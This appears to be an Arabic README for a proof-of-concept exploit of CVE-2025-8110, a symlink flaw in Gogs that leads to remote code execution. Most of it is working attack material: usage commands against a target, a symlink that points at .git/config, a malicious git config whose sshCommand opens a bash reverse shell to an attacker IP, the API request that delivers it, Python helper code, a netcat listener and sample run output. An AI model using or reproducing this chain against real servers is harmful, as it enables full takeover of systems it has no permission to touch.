
استغلال PoC للثغرة CVE-2025-8110
CVE-2025-8110 هي ثغرة أمنية خطيرة في Gogs تسمح للمهاجمين الموثقين بتنفيذ تعليمات برمجية عن بُعد من خلال التلاعب بالروابط الرمزية للمستودع. يوضح إثبات المفهوم هذا سلسلة الاستغلال الكاملة، من المصادقة إلى الحصول على شل عكسي.
توجد الثغرة لأن Gogs يتبع الروابط الرمزية عند التعامل مع ملفات المستودع عبر واجهة API الخاصة به، مما يسمح للمهاجم بقراءة وتعديل الملفات الحساسة مثل .git/config. عن طريق حقن توجيه sshCommand ضار، يمكن تنفيذ أوامر نظام عشوائية بصلاحيات حساب خدمة Gogs.
درجة CVSS: 7.2 (عالية)
متجه الهجوم: شبكة
المصادقة مطلوبة: نعم
تفاعل المستخدم: لا
التأثير: اختراق كامل للنظام
requests>=2.28.0
beautifulsoup4>=4.11.0
rich>=13.0.0
urllib3>=1.26.0
git clone https://github.com/oguiii/CVE-2025-8110.git
cd CVE-2025-8110
pip install -r requirements.txt
CVE-2025-8110/
├── CVE-2025-8110.py # البرنامج الرئيسي للاستغلال
├── requirements.txt # تبعيات Python
└── README.md # التوثيق
| الخيار | الوصف | مطلوب |
|---|---|---|
-u, --url | رابط Gogs الأساسي (مثل https://gogs.example.com) | نعم |
-lh, --host | عنوان IP الخاص بالمهاجم للشل العكسي | نعم |
-lp, --port | منفذ المهاجم للشل العكسي | نعم |
-U, --username | اسم مستخدم Gogs | نعم |
-P, --password | كلمة مرور Gogs | نعم |
-x, --proxy | تفعيل الوكيل (localhost:8080) | لا |
-v, --verbose | تفعيل الإخراج المفصل | لا |
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -x
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -v
┌─────────────────────────────────────────────────────────────────────────────┐
│ سلسلة استغلال CVE-2025-8110 │
└─────────────────────────────────────────────────────────────────────────────┘
الخطوة 1: المصادقة
├── الانتقال إلى /user/login
├── استخراج رمز CSRF من صفحة تسجيل الدخول
├── إرسال بيانات الاعتماد مع رمز CSRF
└── إنشاء جلسة موثقة
الخطوة 2: توليد رمز التطبيق
├── الانتقال إلى /user/settings/applications
├── استخراج رمز CSRF من صفحة الإعدادات
├── إنشاء رمز تطبيق جديد
└── استخراج الرمز من الرد
الخطوة 3: إنشاء مستودع ضار
├── إنشاء مستودع عبر الـ API مع auto_init
├── توليد اسم مستودع عشوائي
└── الحصول على رابط المستودع
الخطوة 4: رفع الرابط الرمزي
├── استنساخ المستودع محلياً
├── إنشاء رابط رمزي يشير إلى .git/config
├── إضافة ودمج ودفع التغييرات
└── تأكيد نجاح الرفع
الخطوة 5: استغلال RCE
├── إنشاء .git/config ضار مع sshCommand
├── تشفير محتوى الإعدادات بـ Base64
├── رفع عبر الـ API إلى الهدف الرمزي
└── تشغيل الأمر
الخطوة 6: الشل العكسي
├── إنشاء اتصال بمضيف المهاجم
├── الوصول إلى شل تفاعلي
└── تنفيذ الأوامر على الهدف
يفشل Gogs في تنقية تنقل الروابط الرمزية بشكل صحيح عند التعامل مع ملفات المستودع عبر واجهة API الخاصة به. عندما يتم الوصول إلى ملف عبر نقطة نهاية API، يتبع Gogs الروابط الرمزية دون تحقق، مما يسمح بالوصول إلى ملفات حساسة خارج دليل المستودع.
إنشاء الرابط الرمزي
ln -s .git/config malicious_link
git add malicious_link
git commit -m "إضافة رابط رمزي"
git push origin master
الإعدادات الضارة
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
sshCommand = bash -c 'bash -i >& /dev/tcp/10.10.14.15/4444 0>&1'
استغلال الـ API
PUT /api/v1/repos/{username}/{repo}/contents/malicious_link
Authorization: token {application_token}
{
"message": "استغلال CVE-2025-8110",
"content": "base64_encoded_config"
}
def extract_csrf(html_text):
"""استخراج رمز CSRF من حقل الإدخال المخفي مع طرق بديلة متعددة."""
# الطريقة 1: حقل إدخال باسم _csrf
soup = BeautifulSoup(html_text, "html.parser")
token_input = soup.select_one("input[name='_csrf']")
if token_input and token_input.get("value"):
return token_input.get("value")
# الطريقة 2: حقل إدخال باسم csrf_token
token_input = soup.select_one("input[name='csrf_token']")
if token_input and token_input.get("value"):
return token_input.get("value")
# الطريقة 3: وسم (meta) مع CSRF
meta_tag = soup.find("meta", {"name": "_csrf"})
if meta_tag and meta_tag.get("content"):
return meta_tag.get("content")
# الطريقة 4: نمط regex في وسم script
pattern = r'"csrf_token"\s*:\s*"([^"]+)"'
match = re.search(pattern, html_text)
if match:
return match.group(1)
# الطريقة 5: regex لحقل الإدخال المخفي
pattern = r'<input[^>]*name="[_-]csrf"[^>]*value="([^"]+)"'
match = re.search(pattern, html_text, re.IGNORECASE)
if match:
return match.group(1)
raise ValueError("لم يتم العثور على رمز CSRF في رد النموذج")
git_config = f"""[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
sshCommand = {command}
[remote "origin"]
url = git@localhost:gogs/{repo_name}.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master
"""
# جهاز المهاجم (10.10.14.15)
nc -lvnp 4444
يستمع على [0.0.0.0] (العائلة 0, المنفذ 4444)
# تنفيذ الاستغلال
python3 CVE-2025-8110.py -u https://gogs.internal.local -lh 10.10.14.15 -lp 4444 -U admin -P SecurePass123
[INFO] بدء استغلال CVE-2025-8110
[INFO] الرابط الهدف: https://gogs.internal.local
[INFO] مضيف المهاجم: 10.10.14.15:4444
[INFO] اسم المستخدم: admin
[INFO] جاري المصادقة على Gogs...
[INFO] تم العثور على رمز CSRF لتسجيل الدخول: abc123def456...
[SUCCESS] تمت المصادقة بنجاح
[INFO] جاري استرداد رمز التطبيق...
[INFO] تم العثور على رمز CSRF للإعدادات: xyz789uvw012...
[SUCCESS] رمز التطبيق: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0
[INFO] جاري إنشاء مستودع ضار...
[SUCCESS] تم إنشاء المستودع: 6f7e8d9c0a1b
[INFO] جاري رفع الرابط الرمزي الضار...
[INFO] جاري استنساخ المستودع...
[INFO] إنشاء رابط رمزي: malicious_link -> .git/config
[INFO] جاري الإضافة والدمج والدفع...
[SUCCESS] تم رفع الرابط الرمزي بنجاح
[INFO] جاري إرسال حمولة الاستغلال...
[SUCCESS] تم إرسال الاستغلال، تحقق من المستمع الخاص بك!